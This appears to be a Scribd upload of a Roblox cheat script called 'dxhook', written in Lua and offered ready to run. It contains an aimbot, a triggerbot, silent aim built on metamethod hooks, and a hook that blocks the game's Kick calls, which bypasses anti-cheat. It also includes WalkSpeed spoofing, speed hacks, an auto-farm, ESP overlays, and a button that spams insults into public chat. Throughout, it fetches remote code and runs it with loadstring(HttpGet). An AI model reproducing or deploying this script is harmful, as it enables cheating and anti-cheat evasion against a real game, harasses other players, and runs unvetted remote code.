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Message 5

The document details code for an aimbot and triggerbot in Roblox. It loads several external libraries and defines settings and functions for aimlocking onto targets. It also creates GUI elements in tabs for configuring aimbot, triggerbot, and other settings.

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alex
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0% found this document useful (0 votes)
243 views22 pages

Message 5

The document details code for an aimbot and triggerbot in Roblox. It loads several external libraries and defines settings and functions for aimlocking onto targets. It also creates GUI elements in tabs for configuring aimbot, triggerbot, and other settings.

Uploaded by

alex
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 22

game.

StarterGui:SetCore("SendNotification", {
Title = "DxHook";
Text = "Whitelisted Loading Gui";
Icon = "rbxthumb://type=Asset&id=7181624799&w=150&h=150";
Button1 = "Alr Bet";
})

local whitelistecheck =
loadstring(game:HttpGet("https://raw.githubusercontent.com/alingiaer/whitelist/
main/users", true))()

local GroupID = 9014662


local plr = game.Players.LocalPlayer
repeat wait() until plr.Character

if whitelistecheck[game:service('Players').LocalPlayer.UserId] then
print("User Id Whitelisted")
if plr:IsInGroup(GroupID) then
print("Group Id Whitelisted")

local library31 =
loadstring(game:HttpGet("https://raw.githubusercontent.com/dwa31/lua/main/
utaniyorum"))()

library31:CreateWatermark("dxhook")

-- Aimlock Settings

getgenv().AimPart = "HumanoidRootPart" -- For R15 Games: {UpperTorso, LowerTorso,


HumanoidRootPart, Head} | For R6 Games: {Head, Torso, HumanoidRootPart}
getgenv().AimlockKey = "q"
getgenv().AimRadius = 30 -- How far away from someones character you want to lock
on at
getgenv().ThirdPerson = true
getgenv().FirstPerson = true
getgenv().TeamCheck = false -- Check if Target is on your Team (True means it wont
lock onto your teamates, false is vice versa) (Set it to false if there are no
teams)
getgenv().PredictMovement = true -- Predicts if they are moving in fast velocity
(like jumping) so the aimbot will go a bit faster to match their speed
getgenv().PredictionVelocity = 3.372
getgenv().OldAimPart = "HumanoidRootPart"
getgenv().CheckIfJumped = true
getgenv().Multiplier = -0.27

local Config = {
WindowName = "dxhook.cc | v2.0.0",
Color = Color3.fromRGB(255,0,255),
Keybind = Enum.KeyCode.RightShift
}

local Library =
loadstring(game:HttpGet("https://raw.githubusercontent.com/AlexR32/Roblox/main/
BracketV3.lua"))()
local Window = Library:CreateWindow(Config, game:GetService("CoreGui"))
Window:SetBackground("6880496154")

local Tab1 = Window:CreateTab("Legit")


local Tab2 = Window:CreateTab("Rage")
local Tab3 = Window:CreateTab("Misc")
local Tab4 = Window:CreateTab("Target")

-- Fucking Aimlock

repeat wait() until game:IsLoaded()

getgenv().Aimlock = false

local Players, Uis, RService, SGui = game:GetService"Players",


game:GetService"UserInputService", game:GetService"RunService",
game:GetService"StarterGui";
local Client, Mouse, Camera, CF, RNew, Vec3, Vec2 = Players.LocalPlayer,
Players.LocalPlayer:GetMouse(), workspace.CurrentCamera, CFrame.new, Ray.new,
Vector3.new, Vector2.new;
local MousePressed, CanNotify = false, false;
local AimlockTarget;
local OldPre;

getgenv().CiazwareUniversalAimbotLoaded = true

getgenv().WorldToViewportPoint = function(P)
return Camera:WorldToViewportPoint(P)
end

getgenv().WorldToScreenPoint = function(P)
return Camera.WorldToScreenPoint(Camera, P)
end

getgenv().GetObscuringObjects = function(T)
if T and T:FindFirstChild(getgenv().AimPart) and Client and
Client.Character:FindFirstChild("Head") then
local RayPos = workspace:FindPartOnRay(RNew(
T[getgenv().AimPart].Position, Client.Character.Head.Position)
)
if RayPos then return RayPos:IsDescendantOf(T) end
end
end

getgenv().GetNearestTarget = function()
-- Credits to whoever made this, i didnt make it, and my own mouse2plr
function kinda sucks
local players = {}
local PLAYER_HOLD = {}
local DISTANCES = {}
for i, v in pairs(Players:GetPlayers()) do
if v ~= Client then
table.insert(players, v)
end
end
for i, v in pairs(players) do
if v.Character ~= nil then
local AIM = v.Character:FindFirstChild("Head")
if getgenv().TeamCheck == true and v.Team ~= Client.Team then
local DISTANCE =
(v.Character:FindFirstChild("Head").Position -
game.Workspace.CurrentCamera.CFrame.p).magnitude
local RAY = Ray.new(game.Workspace.CurrentCamera.CFrame.p,
(Mouse.Hit.p - game.Workspace.CurrentCamera.CFrame.p).unit * DISTANCE)
local HIT,POS = game.Workspace:FindPartOnRay(RAY,
game.Workspace)
local DIFF = math.floor((POS - AIM.Position).magnitude)
PLAYER_HOLD[v.Name .. i] = {}
PLAYER_HOLD[v.Name .. i].dist= DISTANCE
PLAYER_HOLD[v.Name .. i].plr = v
PLAYER_HOLD[v.Name .. i].diff = DIFF
table.insert(DISTANCES, DIFF)
elseif getgenv().TeamCheck == false and v.Team == Client.Team
then
local DISTANCE =
(v.Character:FindFirstChild("Head").Position -
game.Workspace.CurrentCamera.CFrame.p).magnitude
local RAY = Ray.new(game.Workspace.CurrentCamera.CFrame.p,
(Mouse.Hit.p - game.Workspace.CurrentCamera.CFrame.p).unit * DISTANCE)
local HIT,POS = game.Workspace:FindPartOnRay(RAY,
game.Workspace)
local DIFF = math.floor((POS - AIM.Position).magnitude)
PLAYER_HOLD[v.Name .. i] = {}
PLAYER_HOLD[v.Name .. i].dist= DISTANCE
PLAYER_HOLD[v.Name .. i].plr = v
PLAYER_HOLD[v.Name .. i].diff = DIFF
table.insert(DISTANCES, DIFF)
end
end
end

if unpack(DISTANCES) == nil then


return nil
end

local L_DISTANCE = math.floor(math.min(unpack(DISTANCES)))


if L_DISTANCE > getgenv().AimRadius then
return nil
end

for i, v in pairs(PLAYER_HOLD) do
if v.diff == L_DISTANCE then
return v.plr
end
end
return nil
end

Mouse.KeyDown:Connect(function(a)
if not (Uis:GetFocusedTextBox()) then
if a == AimlockKey and AimlockTarget == nil then
pcall(function()
if MousePressed ~= true then MousePressed = true end
local Target;Target = GetNearestTarget()
if Target ~= nil then
AimlockTarget = Target
end
end)
elseif a == AimlockKey and AimlockTarget ~= nil then
if AimlockTarget ~= nil then AimlockTarget = nil end
if MousePressed ~= false then
MousePressed = false
end
end
end
end)
RService.RenderStepped:Connect(function()
local AimPartOld = getgenv().OldAimPart
if getgenv().ThirdPerson == true and getgenv().FirstPerson == true then
if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 or
(Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then
CanNotify = true
else
CanNotify = false
end
elseif getgenv().ThirdPerson == true and getgenv().FirstPerson == false then
if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 then
CanNotify = true
else
CanNotify = false
end
elseif getgenv().ThirdPerson == false and getgenv().FirstPerson == true then
if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then
CanNotify = true
else
CanNotify = false
end
end
if getgenv().Aimlock == true and MousePressed == true then
if AimlockTarget and AimlockTarget.Character and
AimlockTarget.Character:FindFirstChild(getgenv().AimPart) then
if getgenv().FirstPerson == true then
if CanNotify == true then
if getgenv().PredictMovement == true then
Camera.CFrame = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position +
AimlockTarget.Character[getgenv().AimPart].Velocity/PredictionVelocity)
elseif getgenv().PredictMovement == false then
Camera.CFrame = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position)
end
end
elseif getgenv().ThirdPerson == true then
if CanNotify == true then
if getgenv().PredictMovement == true then
Camera.CFrame = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position +
AimlockTarget.Character[getgenv().AimPart].Velocity/PredictionVelocity)
elseif getgenv().PredictMovement == false then
Camera.CFrame = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position)
end
end
end
end
end
if getgenv().CheckIfJumped == true then
if AimlockTarget.Character.Humanoid.FloorMaterial == Enum.Material.Air
and AimlockTarget.Character.Humanoid.Jump == true then
getgenv().AimPart = "RightLowerLeg"
else
getgenv().AimPart = AimPartOld
end
end
end)

-- End Fucking Aimlock Function

-- Legit Section

local Section1 = Tab1:CreateSection("Aimbot")

local Toggle1 = Section1:CreateToggle("Enabled", nil, function(state)


getgenv().Aimlock = not getgenv().Aimlock
end)

local Toggle2 = Section1:CreateToggle("Airshot function", nil, function(state)


getgenv().CheckIfJumped = state
end)

local Dropdown1 = Section1:CreateDropdown("Bodypart",


{"Head","UpperTorso","HumanoidRootPart","LowerTorso"}, function(objective)
getgenv().AimPart = objective
getgenv().OldAimPart = objective
end)

local Section2 = Tab1:CreateSection("Triggerbot")

local Toggle3 = Section2:CreateToggle("Enabled", nil, function(state)


local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local Players = game:FindService("Players")

if state == true then


repeat wait()
local target = mouse.Target
if target then
if target.Parent:IsA("Model") then
for i,v in pairs(Players:GetChildren()) do
if v.Name == target.Parent.Name or v.Name
== target.Parent.Parent.Name then
mouse1click()
end
end
end
end
until state == false
end
end)

local Toggle4 = Section2:CreateToggle("Delay", nil, function()

end)

local TextBox1 = Section2:CreateTextBox("Set Delay", "", true, function()

end)
local Section3 = Tab1:CreateSection("Aimbot Settings")

local TextBox2 = Section3:CreateTextBox("Aim Prediction", "", true, function(a)


getgenv().PredictionVelocity = tostring(a)
end)

local TextBox3167 = Section3:CreateTextBox("Aim radius", "", true, function(a)


getgenv().AimRadius = tonumber(a)
end)

local TextBox3 = Section3:CreateTextBox("Aim Key", "", true, function(a)


getgenv().AimlockKey = tonumber(a)
end)

-- Finish <3

-- Rage Section

local Section4 = Tab2:CreateSection("Silent Aim")

local Toggle5 = Section4:CreateToggle("Silent Aim", nil,


function(saksoamaarkakoltukolan)
local Aiming =
loadstring(game:HttpGet("https://raw.githubusercontent.com/alingiaer/silenta/main/
asd"))()
Aiming.TeamCheck(false)

local Workspace = game:GetService("Workspace")


local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")

local LocalPlayer = Players.LocalPlayer


local Mouse = LocalPlayer:GetMouse()
local CurrentCamera = Workspace.CurrentCamera

local DaHoodSettings = {
SilentAim = true,
AimLock = false,
AimLockKeybind = Enum.KeyCode.E
}
getgenv().DaHoodSettings = DaHoodSettings

function Aiming.Check()
if not (Aiming.Enabled == true and Aiming.Selected ~= LocalPlayer and
Aiming.SelectedPart ~= nil) then
return false
end

local Character = Aiming.Character(Aiming.Selected)


local KOd = Character:WaitForChild("BodyEffects")["K.O"].Value
local Grabbed = Character:FindFirstChild("GRABBING_CONSTRAINT") ~= nil

if (KOd or Grabbed) then


return false
end

return true
end

local __index
__index = hookmetamethod(game, "__index", function(t, k)
if (t:IsA("Mouse") and (k == "Hit" or k == "Target") and
Aiming.Check()) then
local SelectedPart = Aiming.SelectedPart

if (DaHoodSettings.SilentAim and (k == "Hit" or k == "Target"))


then
local Hit = SelectedPart.CFrame + (SelectedPart.Velocity *
DaHoodSettings.Prediction)

return (k == "Hit" and Hit or SelectedPart)


end
end

return __index(t, k)
end)

RunService:BindToRenderStep("AimLock", 0, function()
if (DaHoodSettings.AimLock and Aiming.Check() and
UserInputService:IsKeyDown(DaHoodSettings.AimLockKeybind)) then
local SelectedPart = Aiming.SelectedPart

local Hit = SelectedPart.CFrame + (SelectedPart.Velocity *


DaHoodSettings.Prediction)

CurrentCamera.CFrame =
CFrame.lookAt(CurrentCamera.CFrame.Position, Hit.Position)
end
end)
if saksoamaarkakoltukolan == false then
Aiming.ShowFOV = false
DaHoodSettings.Prediction = 0
Aiming.FOV = 0
end
end)

local Toggle7 = Section4:CreateToggle("Ping Based Prediction", nil, function()


DaHoodSettings.Prediction = 0.420
end)

local Toggle8 = Section4:CreateToggle("Visible Check", nil, function(cuvalue)


Aiming.VisibleCheck = cuvalue
end)

local Toggle9 = Section4:CreateToggle("Ignore FOV", nil, function()


Aiming.ShowFOV = false
end)

local Dropdown4 = Section4:CreateDropdown("Hitbox",


{"Head","UpperTorso","HumanoidRootPart","LowerTorso"}, function(L_73_arg0)
getgenv().AimPart = L_73_arg0
end)

local Section5 = Tab2:CreateSection("FOV")

local Toggle10 = Section5:CreateToggle("Enabled", nil, function(L_75_arg0)


Aiming.ShowFOV = L_75_arg0
end)

local Slider5 = Section5:CreateSlider("Size", 0,500,nil,true, function(L_74_arg0)


Aiming.FOV = L_74_arg0
end)

local Colorpicker1 = Section5:CreateColorpicker("Color", function(Valuecolor)


Aiming.FOVColour = Valuecolor
end)

-- Finish <3

local Section6 = Tab3:CreateSection("Movement")

local Button1234 = Section6:CreateButton("Anti-Lock FIX", function()


for _, v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Script") and v.Name ~= "Health" and v.Name ~= "Sound" and
v:FindFirstChild("LocalScript") then
v:Destroy()
end
end
game.Players.LocalPlayer.CharacterAdded:Connect(function(char)
repeat
wait()
until game.Players.LocalPlayer.Character
char.ChildAdded:Connect(function(child)
if child:IsA("Script") then
wait(0.1)
if child:FindFirstChild("LocalScript") then
child.LocalScript:FireServer()
end
end
end)
end)

end)

local glitch = false


local clicker = false

local TextBox24356 = Section6:CreateTextBox("Speed (use -0.10 to -0.60 [antilock],


can be used for speed hack)", "", true, function(a)
getgenv().Multiplier = a
end)

local Button12374 = Section6:CreateButton("Antilock Improved (Z)", function()


local userInput = game:service('UserInputService')
local runService = game:service('RunService')

userInput.InputBegan:connect(function(Key)
if Key.KeyCode == Enum.KeyCode.Z then
Enabled = not Enabled
if Enabled == true then
repeat

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame +
game.Players.LocalPlayer.Character.Humanoid.MoveDirection * getgenv().Multiplier
runService.Stepped:wait()
until Enabled == false
end
end
end)
end)

local Button92374 = Section6:CreateButton("Toggle Speed Glitch (X)", function()


local Player = game:GetService("Players").LocalPlayer
local Mouse = Player:GetMouse()
local SpeedGlitch = false
local Wallet = Player.Backpack:FindFirstChild("Wallet")

local UniversalAnimation = Instance.new("Animation")

function stopTracks()
for _, v in next,
game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):
GetPlayingAnimationTracks() do
if (v.Animation.AnimationId:match("rbxassetid")) then
v:Stop()
end
end
end

function loadAnimation(id)
if UniversalAnimation.AnimationId == id then
stopTracks()
UniversalAnimation.AnimationId = "1"
else
UniversalAnimation.AnimationId = id
local animationTrack =
game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):
LoadAnimation(UniversalAnimation)
animationTrack:Play()
end
end

Mouse.KeyDown:Connect(function(Key)
if Key == "x" then
SpeedGlitch = not SpeedGlitch
if SpeedGlitch == true then
stopTracks()
loadAnimation("rbxassetid://3189777795")
wait(1.5)
Wallet.Parent = Player.Character
wait(0.15)
Player.Character:FindFirstChild("Wallet").Parent =
Player.Backpack
wait(0.05)
repeat game:GetService("RunService").Heartbeat:wait()
keypress(0x49)
game:GetService("RunService").Heartbeat:wait()
keypress(0x4F)
game:GetService("RunService").Heartbeat:wait()
keyrelease(0x49)
game:GetService("RunService").Heartbeat:wait()
keyrelease(0x4F)
game:GetService("RunService").Heartbeat:wait()
until SpeedGlitch == false
end
end
end)
end)

local Button99678074 = Section6:CreateButton("Toxic Message (K)", function()


local plr = game.Players.LocalPlayer
repeat wait() until plr.Character
local char = plr.Character

local garbage = {
"mad kid";
"ur bad";
"sonney boy";
"ez";
"my grandma has more skill than you";
"seed";
"sit son";
"trash";
"LOL";
"LMAO";
"imagine being you right now";
"xd";
"don't try LOL";
"you lose";
"why do you even try";
"I didn't think being this bad was possible";
"leave";
"no skill";
"so sad man.";
"bad";
"you're nothing";
"lol";
"so trash";
"so bad";
"ur salty";
"salty";
"look he's mad";
"cry more";
"keep crying";
"cry baby";
"hahaha I won";
"no one likes u";
"run 1s seed";
"thank you for your time";
"you were so close!";
"better luck next time!";
"rodent";
"HAHA";
"ill 5-0";
"just quit";
"time to take out the trash";
"did you get worse?";
"I'm surprised you haven't quit yet";
"lol ur aim buy dxhook";
"quit please";
"bruh momoent";
"bro where ur aim?";
"oh he very bad";

function TrashTalk(inputObject, gameProcessedEvent)


if inputObject.KeyCode == Enum.KeyCode.K and gameProcessedEvent == false then

game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(
garbage[math.random(1,#garbage)],
"All"
)
end
end

game:GetService("UserInputService").InputBegan:connect(TrashTalk)
end)

local Button99074 = Section6:CreateButton("Auto Clicker (V)", function()


local Player = game:GetService("Players").LocalPlayer
local Mouse = Player:GetMouse()
local Clicking = false
Mouse.KeyDown:Connect(function(Key)
if Key == "z" then
Clicking = not Clicking
if Clicking == true then
repeat
mouse1click()
wait(0.001)
until Clicking == false
end
end
end)
end)

local Button1 = Section6:CreateButton("Anti-Slow", function()


repeat
wait()
until game:IsLoaded()
getgenv().Fix = true
getgenv().TeclasWS = {
["tecla1"] = "nil",
["tecla2"] = "nil",
["tecla3"] = "H"
}
local L_121_ = game:GetService("Players")
local L_122_ = game:GetService("StarterGui") or "son una mierda"
local L_123_ = L_121_.LocalPlayer
local L_124_ = L_123_:GetMouse()
local L_125_ = getrenv()._G
local L_126_ = getrawmetatable(game)
local L_127_ = L_126_.__newindex
local L_128_ = L_126_.__index
local L_129_ = 22
local L_130_ = true
function anunciar_atentado_terrorista(L_138_arg0)
L_122_:SetCore("SendNotification", {
Title = "anti lock fix",
Text = L_138_arg0
})
end
getgenv().TECHWAREWALKSPEED_LOADED = true
wait(1.5)
anunciar_atentado_terrorista("Press " .. TeclasWS.tecla3 .. " to turn on/off
anti lock fix")
L_124_.KeyDown:Connect(
function(L_139_arg0)
if L_139_arg0:lower() == TeclasWS.tecla1:lower() then
L_129_ = L_129_ + 1
anunciar_atentado_terrorista("播放器速度已提高 (speed = " ..
tostring(L_129_) .. ")")
elseif L_139_arg0:lower() == TeclasWS.tecla2:lower() then
L_129_ = L_129_ - 1
anunciar_atentado_terrorista("玩家的速度已降低 (speed = " ..
tostring(L_129_) .. ")")
elseif L_139_arg0:lower() == TeclasWS.tecla3:lower() then
if L_130_ then
L_130_ = false
anunciar_atentado_terrorista("anti lock fix off")
else
L_130_ = true
anunciar_atentado_terrorista("anti lock fix on")
end
end
end
)
setreadonly(L_126_, false)
L_126_.__index =
newcclosure(
function(L_140_arg0, L_141_arg1)
local L_142_ = checkcaller()
if L_141_arg1 == "WalkSpeed" and not L_142_ then
return L_125_.CurrentWS
end
return L_128_(L_140_arg0, L_141_arg1)
end
)
L_126_.__newindex =
newcclosure(
function(L_143_arg0, L_144_arg1, L_145_arg2)
local L_146_ = checkcaller()
if L_130_ then
if L_144_arg1 == "WalkSpeed" and L_145_arg2 ~= 0 and not L_146_
then
return L_127_(L_143_arg0, L_144_arg1, L_129_)
end
end
return L_127_(L_143_arg0, L_144_arg1, L_145_arg2)
end
)
setreadonly(L_126_, true)
repeat
wait()
until game:IsLoaded()
local L_131_ = game:service("Players")
local L_132_ = L_131_.LocalPlayer
repeat
wait()
until L_132_.Character
local L_133_ = game:service("UserInputService")
local L_134_ = game:service("RunService")
local L_135_ = -0.27
local L_136_ = false
local L_137_
L_133_.InputBegan:connect(
function(L_147_arg0)
if L_147_arg0.KeyCode == Enum.KeyCode.LeftBracket then
L_135_ = L_135_ + 0.01
print(L_135_)
wait(0.2)
while L_133_:IsKeyDown(Enum.KeyCode.LeftBracket) do
wait()
L_135_ = L_135_ + 0.01
print(L_135_)
end
end
if L_147_arg0.KeyCode == Enum.KeyCode.RightBracket then
L_135_ = L_135_ - 0.01
print(L_135_)
wait(0.2)
while L_133_:IsKeyDown(Enum.KeyCode.RightBracket) do
wait()
L_135_ = L_135_ - 0.01
print(L_135_)
end
end
if L_147_arg0.KeyCode == Enum.KeyCode.Z then
L_136_ = not L_136_
if L_136_ == true then
repeat

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame +

game.Players.LocalPlayer.Character.Humanoid.MoveDirection * L_135_
game:GetService("RunService").Stepped:wait()
until L_136_ == false
end
end
end)
end)

local Button2 = Section6:CreateButton("Fake Speed Glitch (Q)", function()


mouse = game.Players.LocalPlayer:GetMouse()
down = false
local plr = game:GetService('Players').LocalPlayer

function onButton1Down(mouse)
down = true
while down do
if not down then break end
local char = plr.Character

char.HumanoidRootPart.Velocity = char.HumanoidRootPart.CFrame.lookVector * 250


wait()
end
end

function onButton1Up(mouse)
down = false
end

function onSelected(mouse)
mouse.KeyDown:connect(function(k) if k:lower()=="q"then onButton1Down(mouse)end
end)
mouse.KeyUp:connect(function(k) if k:lower()=="q"then onButton1Up(mouse)end
end)
end

onSelected(game.Players.LocalPlayer:GetMouse())
end)

local Button5 = Section6:CreateButton("WalkSpeed", function()


--// Local Functions
local lp = game:GetService"Players".LocalPlayer
local SuperSpeed =
Instance.new("IntValue",lp.Character.BodyEffects.Movement);SuperSpeed.Name =
"SuperSpeed"
local HulkJump =
Instance.new("IntValue",lp.Character.BodyEffects.Movement);HulkJump.Name =
"HulkJump"
--// Local Functions

if bodyeffects_folder.Movement:findFirstChild("SuperSpeed") then
walkspeed = 300
end
if bodyeffects_folder.Movement:findFirstChild("HighJump") then
jumppower = 30
end
end)

-- Finish <3

local Section7 = Tab3:CreateSection("more")

local Toggle13 = Section7:CreateToggle("Auto Farm", nil, function(texto)


repeat
wait()
until game:IsLoaded()
local gm = getrawmetatable(game)
setreadonly(gm, false)
local namecall = gm.__namecall
gm.__namecall =
newcclosure(
function(self, ...)
local args = {...}
if not checkcaller() and getnamecallmethod() == "FireServer" and
tostring(self) == "MainEvent" then
if tostring(getcallingscript()) ~= "Framework" then
return
end
end
if not checkcaller() and getnamecallmethod() == "Kick" then
return
end
return namecall(self, unpack(args))
end
)

local LocalPlayer = game:GetService("Players").LocalPlayer

function gettarget()
local Character = LocalPlayer.Character or
LocalPlayer.CharacterAdded:wait()
local HumanoidRootPart = Character:WaitForChild("HumanoidRootPart")
local maxdistance = math.huge
local target
for i, v in pairs(game:GetService("Workspace").Cashiers:GetChildren())
do
if v:FindFirstChild("Head") and v:FindFirstChild("Humanoid") and
v.Humanoid.Health > 0 then
local distance = (HumanoidRootPart.Position -
v.Head.Position).magnitude
if distance < maxdistance then
target = v
maxdistance = distance
end
end
end
return target
end

for i, v in pairs(workspace:GetDescendants()) do
if v:IsA("Seat") then
v:Destroy()
end
end

shared.MoneyFarm = texto -- Just execute shared.MoneyFarm = false to stop


farming

while shared.MoneyFarm do
wait()
local Target = gettarget()
repeat
wait()
pcall(
function()
local Character = LocalPlayer.Character or
LocalPlayer.CharacterAdded:wait()
local HumanoidRootPart =
Character:WaitForChild("HumanoidRootPart")
local Combat =
LocalPlayer.Backpack:FindFirstChild("Combat") or Character:FindFirstChild("Combat")
if not Combat then
Character:FindFirstChild("Humanoid").Health = 0
return
end
HumanoidRootPart.CFrame = Target.Head.CFrame *
CFrame.new(0, -2.5, 3)
Combat.Parent = Character
Combat:Activate()
end
)
until not Target or Target.Humanoid.Health < 0
for i, v in
pairs(game:GetService("Workspace").Ignored.Drop:GetDescendants()) do
if v:IsA("ClickDetector") and v.Parent and
v.Parent.Name:find("Money") then
local Character = LocalPlayer.Character or
LocalPlayer.CharacterAdded:wait()
local HumanoidRootPart =
Character:WaitForChild("HumanoidRootPart")
if (v.Parent.Position -
HumanoidRootPart.Position).magnitude <= 18 then
repeat
wait()
fireclickdetector(v)
until not v or not v.Parent.Parent
end
end
end
wait(1)
end
end)

local Button6 = Section7:CreateButton("Best Animation", function()


local Animate = game.Players.LocalPlayer.Character.Animate
Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?
id=782841498"
Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?
id=782845736"
Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?
id=616168032"
Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616163682"
Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?
id=616161997"
Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?
id=782843869"
Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?
id=782846423"
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end)

local Button6908 = Section7:CreateButton("Esp", function()

local Settings = {
Box_Color = Color3.fromRGB(255, 0, 0),
Tracer_Color = Color3.fromRGB(255, 0, 0),
Tracer_Thickness = 1,
Box_Thickness = 1,
Tracer_Origin = "Bottom", -- Middle or Bottom if FollowMouse is on this won't
matter...
Tracer_FollowMouse = false,
Tracers = false
}
local Team_Check = {
TeamCheck = false, -- if TeamColor is on this won't matter...
Green = Color3.fromRGB(0, 255, 0),
Red = Color3.fromRGB(255, 0, 0)
}
local TeamColor = false

--// SEPARATION
local player = game:GetService("Players").LocalPlayer
local camera = game:GetService("Workspace").CurrentCamera
local mouse = player:GetMouse()

local function NewQuad(thickness, color)


local quad = Drawing.new("Quad")
quad.Visible = false
quad.PointA = Vector2.new(0,0)
quad.PointB = Vector2.new(0,0)
quad.PointC = Vector2.new(0,0)
quad.PointD = Vector2.new(0,0)
quad.Color = color
quad.Filled = false
quad.Thickness = thickness
quad.Transparency = 1
return quad
end

local function NewLine(thickness, color)


local line = Drawing.new("Line")
line.Visible = false
line.From = Vector2.new(0, 0)
line.To = Vector2.new(0, 0)
line.Color = color
line.Thickness = thickness
line.Transparency = 1
return line
end

local function Visibility(state, lib)


for u, x in pairs(lib) do
x.Visible = state
end
end

local function ToColor3(col) --Function to convert, just cuz c;


local r = col.r --Red value
local g = col.g --Green value
local b = col.b --Blue value
return Color3.new(r,g,b); --Color3 datatype, made of the RGB inputs
end

local black = Color3.fromRGB(0, 0 ,0)


local function ESP(plr)
local library = {
--//Tracer and Black Tracer(black border)
blacktracer = NewLine(Settings.Tracer_Thickness*2, black),
tracer = NewLine(Settings.Tracer_Thickness, Settings.Tracer_Color),
--//Box and Black Box(black border)
black = NewQuad(Settings.Box_Thickness*2, black),
box = NewQuad(Settings.Box_Thickness, Settings.Box_Color),
--//Bar and Green Health Bar (part that moves up/down)
healthbar = NewLine(3, black),
greenhealth = NewLine(1.5, black)
}

local function Colorize(color)


for u, x in pairs(library) do
if x ~= library.healthbar and x ~= library.greenhealth and x ~=
library.blacktracer and x ~= library.black then
x.Color = color
end
end
end

local function Updater()


local connection
connection = game:GetService("RunService").RenderStepped:Connect(function()
if plr.Character ~= nil and plr.Character:FindFirstChild("Humanoid") ~=
nil and plr.Character:FindFirstChild("HumanoidRootPart") ~= nil and
plr.Character.Humanoid.Health > 0 and plr.Character:FindFirstChild("Head") ~= nil
then
local HumPos, OnScreen =
camera:WorldToViewportPoint(plr.Character.HumanoidRootPart.Position)
if OnScreen then
local head =
camera:WorldToViewportPoint(plr.Character.Head.Position)
local DistanceY = math.clamp((Vector2.new(head.X, head.Y) -
Vector2.new(HumPos.X, HumPos.Y)).magnitude, 2, math.huge)

local function Size(item)


item.PointA = Vector2.new(HumPos.X + DistanceY, HumPos.Y -
DistanceY*2)
item.PointB = Vector2.new(HumPos.X - DistanceY, HumPos.Y -
DistanceY*2)
item.PointC = Vector2.new(HumPos.X - DistanceY, HumPos.Y +
DistanceY*2)
item.PointD = Vector2.new(HumPos.X + DistanceY, HumPos.Y +
DistanceY*2)
end
Size(library.box)
Size(library.black)

--//Tracer
if Settings.Tracers then
if Settings.Tracer_Origin == "Middle" then
library.tracer.From = camera.ViewportSize*0.5
library.blacktracer.From = camera.ViewportSize*0.5
elseif Settings.Tracer_Origin == "Bottom" then
library.tracer.From =
Vector2.new(camera.ViewportSize.X*0.5, camera.ViewportSize.Y)
library.blacktracer.From =
Vector2.new(camera.ViewportSize.X*0.5, camera.ViewportSize.Y)
end
if Settings.Tracer_FollowMouse then
library.tracer.From = Vector2.new(mouse.X, mouse.Y+36)
library.blacktracer.From = Vector2.new(mouse.X,
mouse.Y+36)
end
library.tracer.To = Vector2.new(HumPos.X, HumPos.Y +
DistanceY*2)
library.blacktracer.To = Vector2.new(HumPos.X, HumPos.Y +
DistanceY*2)
else
library.tracer.From = Vector2.new(0, 0)
library.blacktracer.From = Vector2.new(0, 0)
library.tracer.To = Vector2.new(0, 0)
library.blacktracer.To = Vector2.new(0, 02)
end

--// Health Bar


local d = (Vector2.new(HumPos.X - DistanceY, HumPos.Y -
DistanceY*2) - Vector2.new(HumPos.X - DistanceY, HumPos.Y + DistanceY*2)).magnitude

local healthoffset =
plr.Character.Humanoid.Health/plr.Character.Humanoid.MaxHealth * d

library.greenhealth.From = Vector2.new(HumPos.X - DistanceY -


4, HumPos.Y + DistanceY*2)
library.greenhealth.To = Vector2.new(HumPos.X - DistanceY - 4,
HumPos.Y + DistanceY*2 - healthoffset)

library.healthbar.From = Vector2.new(HumPos.X - DistanceY - 4,


HumPos.Y + DistanceY*2)
library.healthbar.To = Vector2.new(HumPos.X - DistanceY - 4,
HumPos.Y - DistanceY*2)

local green = Color3.fromRGB(0, 255, 0)


local red = Color3.fromRGB(255, 0, 0)

library.greenhealth.Color = red:lerp(green,
plr.Character.Humanoid.Health/plr.Character.Humanoid.MaxHealth);

if Team_Check.TeamCheck then
if plr.TeamColor == player.TeamColor then
Colorize(Team_Check.Green)
else
Colorize(Team_Check.Red)
end
else
library.tracer.Color = Settings.Tracer_Color
library.box.Color = Settings.Box_Color
end
if TeamColor == true then
Colorize(plr.TeamColor.Color)
end
Visibility(true, library)
else
Visibility(false, library)
end
else
Visibility(false, library)
if game.Players:FindFirstChild(plr.Name) == nil then
connection:Disconnect()
end
end
end)
end
coroutine.wrap(Updater)()
end

for i, v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Name ~= player.Name then
coroutine.wrap(ESP)(v)
end
end

game.Players.PlayerAdded:Connect(function(newplr)
if newplr.Name ~= player.Name then
coroutine.wrap(ESP)(newplr)
end
end)
end)

-- Target Section

